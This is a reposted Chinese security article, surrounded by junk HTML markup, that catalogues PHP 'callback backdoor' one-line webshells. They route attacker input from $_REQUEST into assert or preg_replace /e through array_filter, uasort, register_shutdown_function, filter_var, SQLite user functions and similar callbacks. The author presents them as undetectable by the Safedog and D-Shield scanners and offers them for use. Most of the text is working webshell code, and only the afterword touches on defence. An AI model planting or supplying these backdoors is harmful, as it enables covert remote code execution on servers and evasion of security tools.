<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/7279

                    0x00 前言


                    最近很多人分享一些過狗過盾的一句話,但無非是用各種方法去構造一些動態函數,比如$_GET['func']($_REQUEST['pass'])之類的方法。萬變不離其宗,但這種方法,雖然狗盾可能看不出來,但人肉眼其實很容易發現這類后門的。

                    那么,我就分享一下,一些不需要動態函數、不用eval、不含敏感函數、免殺免攔截的一句話。

                    有很多朋友喜歡收藏一些tips,包括我也收藏了好多tips,有時候在滲透和漏洞挖掘過程中很有用處。

                    一句話的tips相信很多朋友也收集過好多,過狗一句話之類的。14年11月好像在微博上也火過一個一句話,當時也記印象筆記里了:

                    enter image description here

                    最近又看到有人在發這個:http://www.secoff.net/archives/436.html

                    有同學收集tips,就有同學創造tips。那么我們怎么來創造一些過狗、過D盾、無動態函數、無危險函數(無特征)的一句話(后門)?

                    根據上面這個pdo的一句話,我就可以得到一個很具有普適性的結論:php中包含回調函數參數的函數,具有做后門的潛質。

                    我就自己給這類webshell起了個名字:回調后門。

                    0x01 回調后門的老祖宗


                    php中call_user_func是執行回調函數的標準方法,這也是一個比較老的后門了:

                    #!php
                    call_user_func('assert', $_REQUEST['pass']);
                    

                    assert直接作為回調函數,然后$_REQUEST['pass']作為assert的參數調用。

                    這個后門,狗和盾都可以查到(但是狗不會攔截):

                    enter image description here

                    可php的函數庫是很豐富的,只要簡單改下函數安全狗就不殺了:

                    #!php
                    call_user_func_array('assert', array($_REQUEST['pass']));
                    

                    call_user_func_array函數,和call_user_func類似,只是第二個參數可以傳入參數列表組成的數組。如圖:

                    enter image description here

                    可見,雖然狗不殺了,D盾還是聰明地識別了出來。

                    看來,這種傳統的回調后門,已經被一些安全廠商盯上了,存在被查殺的風險。

                    0x02 數組操作造成的單參數回調后門


                    進一步思考,在平時的php開發中,遇到過的帶有回調參數的函數絕不止上面說的兩個。這些含有回調(callable類型)參數的函數,其實都有做“回調后門”的潛力。 我最早想到個最“簡單好用的”:

                    #!php
                    $e = $_REQUEST['e'];
                    $arr = array($_POST['pass'],);
                    array_filter($arr, base64_decode($e));
                    

                    array_filter函數是將數組中所有元素遍歷并用指定函數處理過濾用的,如此調用(此后的測試環境都是開著狗的,可見都可以執行):

                    enter image description here

                    這個后門,狗查不出來,但D盾還是有感應,報了個等級3(顯然比之前的等級4要低了):

                    enter image description here

                    類似array_filter,array_map也有同樣功效:

                    #!php
                    $e = $_REQUEST['e'];
                    $arr = array($_POST['pass'],);
                    array_map(base64_decode($e), $arr);
                    

                    依舊被D盾查殺。

                    果然,簡單的數組回調后門,還是很容易被發現與查殺的。

                    0x03 php5.4.8+中的assert


                    php 5.4.8+后的版本,assert函數由一個參數,增加了一個可選參數descrition:

                    enter image description here

                    這就增加(改變)了一個很好的“執行代碼”的方法assert,這個函數可以有一個參數,也可以有兩個參數。那么以前回調后門中有兩個參數的回調函數,現在就可以使用了。

                    比如如下回調后門:

                    #!php
                    $e = $_REQUEST['e'];
                    $arr = array('test', $_REQUEST['pass']);
                    uasort($arr, base64_decode($e));
                    

                    這個后門在php5.3時會報錯,提示assert只能有一個參數:

                    enter image description here

                    php版本改作5.4后就可以執行了:

                    enter image description here

                    這個后門,狗和盾是都查不出來的:

                    enter image description here

                    同樣的道理,這個也是功能類似:

                    #!php
                    $e = $_REQUEST['e'];
                    $arr = array('test' => 1, $_REQUEST['pass'] => 2);
                    uksort($arr, $e);
                    

                    再給出這兩個函數,面向對象的方法:

                    #!php
                    // way 0
                    $arr = new ArrayObject(array('test', $_REQUEST['pass']));
                    $arr->uasort('assert');
                    
                    // way 1
                    $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
                    $arr->uksort('assert');
                    

                    再來兩個類似的回調后門:

                    #!php
                    $e = $_REQUEST['e'];
                    $arr = array(1);
                    $e = $_REQUEST['e'];
                    
                    $arr = array($_POST['pass']);
                    $arr2 = array(1);
                    array_udiff($arr, $arr2, $e);
                    

                    以上幾個都是可以直接菜刀連接的一句話,但目標PHP版本在5.4.8及以上才可用。

                    我把上面幾個類型歸為:二參數回調函數(也就是回調函數的格式是需要兩個參數的)

                    0x04 三參數回調函數


                    有些函數需要的回調函數類型比較苛刻,回調格式需要三個參數。比如array_walk。

                    array_walk的第二個參數是callable類型,正常情況下它是格式是兩個參數的,但在0x03中說了,兩個參數的回調后門需要使用php5.4.8后的assert,在5.3就不好用了。但這個回調其實也可以接受三個參數,那就好辦了:

                    enter image description here

                    php中,可以執行代碼的函數:

                    1.  一個參數:assert
                    2.  兩個參數:assert (php5.4.8+)
                    3.  三個參數:preg_replace /e模式
                    

                    三個參數可以用preg_replace。所以我這里構造了一個array_walk + preg_replace的回調后門:

                    #!php
                    $e = $_REQUEST['e'];
                    $arr = array($_POST['pass'] => '|.*|e',);
                    array_walk($arr, $e, '');
                    

                    如圖,這個后門可以在5.3下使用:

                    enter image description here

                    但強大的D盾還是有警覺(雖然只是等級2):

                    enter image description here

                    不過呵呵,PHP擁有那么多靈活的函數,稍微改個函數(array_walk_recursive)D盾就查不出來了:

                    #!php
                    $e = $_REQUEST['e'];
                    $arr = array($_POST['pass'] => '|.*|e',);
                    array_walk_recursive($arr, $e, '');
                    

                    不截圖了。

                    看了以上幾個回調后門,發現preg_replace確實好用。但顯然很多WAF和頓頓狗狗的早就盯上這個函數了。其實php里不止這個函數可以執行eval的功能,還有幾個類似的:

                    #!php
                    mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
                    

                    另一個:

                    #!php
                    echo preg_filter('|.*|e', $_REQUEST['pass'], '');
                    

                    這兩個一句話都是不殺的:

                    enter image description here

                    enter image description here

                    好用的一句話,且用且珍惜呀。

                    0x05 無回顯回調后門


                    回調后門里,有個特殊的例子:ob_start。

                    ob_start可以傳入一個參數,也就是當緩沖流輸出時調用的函數。但由于某些特殊原因(可能與輸出流有關),即使有執行結果也不在流里,最后也輸出不了,所以這樣的一句話沒法用菜刀連接:

                    #!php
                    ob_start('assert');
                    echo $_REQUEST['pass'];
                    ob_end_flush();
                    

                    但如果執行一個url請求,用神器cloudeye還是能夠觀測到結果的:

                    enter image description here

                    enter image description here

                    即使沒輸出,實際代碼是執行了的。也算作回調后門的一種。

                    0x06 單參數后門終極奧義


                    preg_replace、三參數后門雖然好用,但/e模式php5.5以后就廢棄了,不知道哪天就會給刪了。所以我覺得還是單參數后門,在各個版本都比較好駕馭。 這里給出幾個好用不殺的回調后門

                    #!php
                    $e = $_REQUEST['e'];
                    register_shutdown_function($e, $_REQUEST['pass']);
                    

                    這個是php全版本支持的,且不報不殺穩定執行:

                    enter image description here

                    enter image description here

                    再來一個:

                    #!php
                    $e = $_REQUEST['e'];
                    declare(ticks=1);
                    register_tick_function ($e, $_REQUEST['pass']);
                    

                    再來兩個:

                    #!php
                    filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
                    

                    這兩個是filter_var的利用,php里用這個函數來過濾數組,只要指定過濾方法為回調(FILTER_CALLBACK),且option為assert即可。

                    這幾個單參數回調后門非常隱蔽,基本沒特征,用起來很6.

                    0x07 數據庫操作與第三方庫中的回調后門


                    回到最早微博上發出來的那個sqlite回調后門,其實sqlite可以構造的回調后門不止上述一個。

                    我們可以注冊一個sqlite函數,使之與assert功能相同。當執行這個sql語句的時候,就等于執行了assert。所以這個后門我這樣構造:

                    #!php
                    $e = $_REQUEST['e'];
                    $db = new PDO('sqlite:sqlite.db3');
                    $db->sqliteCreateFunction('myfunc', $e, 1);
                    $sth = $db->prepare("SELECT myfunc(:exec)");
                    $sth->execute(array(':exec' => $_REQUEST['pass']));
                    

                    執行之:

                    enter image description here

                    上面的sqlite方法是依靠PDO執行的,我們也可以直接調用sqlite3的方法構造回調后門:

                    #!php
                    $e = $_REQUEST['e'];
                    $db = new SQLite3('sqlite.db3');
                    $db->createFunction('myfunc', $e);
                    $stmt = $db->prepare("SELECT myfunc(?)");
                    $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
                    $stmt->execute();
                    

                    前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函數,自己研究我不列出了。

                    這兩個回調后門,都是依靠php擴展庫(pdo和sqlite3)來實現的。其實如果目標環境中有特定擴展庫的情況下,也可以來構造回調后門。 比如php_yaml:

                    #!php
                    $str = urlencode($_REQUEST['pass']);
                    $yaml = <<<EOD
                    greeting: !{$str} "|.+|e"
                    EOD;
                    $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
                    

                    還有php_memcached:

                    #!php
                    $mem = new Memcache();
                    $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
                    $mem->connect($_REQUEST['pass'], 11211, 0);
                    

                    自行研究吧。

                    0x08 其他參數型回調后門


                    上面說了,回調函數格式為1、2、3參數的時候,可以利用assert、assert、preg_replace來執行代碼。但如果回調函數的格式是其他參數數目,或者參數類型不是簡單字符串,怎么辦?

                    舉個例子,php5.5以后建議用preg_replace_callback代替preg_replace/e模式來處理正則執行替換,那么其實preg_replace_callback也是可以構造回調后門的。

                    preg_replace_callback的第二個參數是回調函數,但這個回調函數被傳入的參數是一個數組,如果直接將這個指定為assert,就會執行不了,因為assert接受的參數是字符串。

                    所以我們需要去“構造”一個滿足條件的回調函數。

                    怎么構造?使用create_function

                    #!php
                    preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
                    

                    “創造”一個函數,它接受一個數組,并將數組的第一個元素$arr[0]傳入assert

                    這也是一個不殺不報穩定執行的回調后門,但因為有create_function這個敏感函數,所以看起來總是不太爽。不過也是沒辦法的事。 類似的,這個也同樣:

                    #!php
                    mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
                    

                    再來一個利用CallbackFilterIterator方法的回調后門:

                    #!php
                    $iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
                    foreach ($iterator as $item) {
                        echo $item;
                    }
                    

                    這里也是借用了create_function來創建回調函數。但有些同學就問了,這里創建的回調函數只有一個參數呀?實際上這里如果傳入assert,是會報錯的,具體原因自己分析。

                    0x09 后記


                    這一篇文章,就像一枚核武器,爆出了太多無特征的一句話后門。我知道相關廠商在看了文章以后,會有一些小動作。不過我既然敢寫出來,那么我就敢保證這些方法是多么難以防御。

                    實際上,回調后門是靈活且無窮無盡的后門,只要php還在發展,那么就有很多很多擁有回調函數的后門被創造。想要防御這樣的后門,光光去指哪防哪肯定是不夠的。

                    簡單想一下,只有我們去控制住assert、preg_replace這類函數,才有可能防住這種漏洞。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频